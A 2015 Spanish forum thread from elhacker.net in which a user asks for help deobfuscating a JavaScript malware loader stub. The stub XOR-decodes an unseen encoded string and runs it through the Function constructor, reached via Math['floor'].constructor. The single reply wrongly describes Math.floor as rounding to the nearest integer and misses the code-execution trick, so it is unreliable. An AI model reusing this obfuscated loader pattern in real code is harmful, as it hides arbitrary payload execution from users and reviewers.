Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: XcryptOR en 21 Junio 2015, 16:34 pm



Título: Solicitud ayuda con JS
Publicado por: XcryptOR en 21 Junio 2015, 16:34 pm
buenos dias, hace mucho que no venia por elhacker.net. ,

solicito la ayuda de alguien en la medida de lo posible, quisiera saber si alguien ha descifrado algun malware de JS

Código:
b = [], Q = "", J = 3;

if (typeof prompt != "undefined") {
  var v = J++;
}
var v = v || Math, k = parseInt, i = "slice", z = "fromCharCode";

for (var Z = 0; Z < E.length;) b[~~(Z / 3)] = k(E[i](Z, Z += J), 23);
for (var X = 0; X < b.length; X += 2) Q += String[z](b[X] ^ b[X + 1]);var N = Math["floor"].constructor; N(Q)();

apenas comienzo con JS y me seria de mucha ayuda descifrar el code anteriror, me quedo varado en la ultima instrucción, en realidad no entiendo que hace
Código:
Math["floor"].constructor;

por lo que he consultado es una funcion matematica para manejo de numeros enteros, si alguien me podria colabrar quedo agradecido

XcryptOR


Título: Re: Solicitud ayuda con JS
Publicado por: tincopasan en 22 Junio 2015, 18:14 pm
Creo que se usa para redondear números y devuelve un double cuya parte decimal siempre es 0 , claro que si el valor  es por ejemplo 1.6 se redondea a 2.0 y si es menor o igual a 1.5 devuelve 1.0


Título: Re: Solicitud ayuda con JS
Publicado por: XcryptOR en 22 Junio 2015, 19:31 pm
Gracias, por lo que veo es una función en js y creo que es la que necesito pero ni modo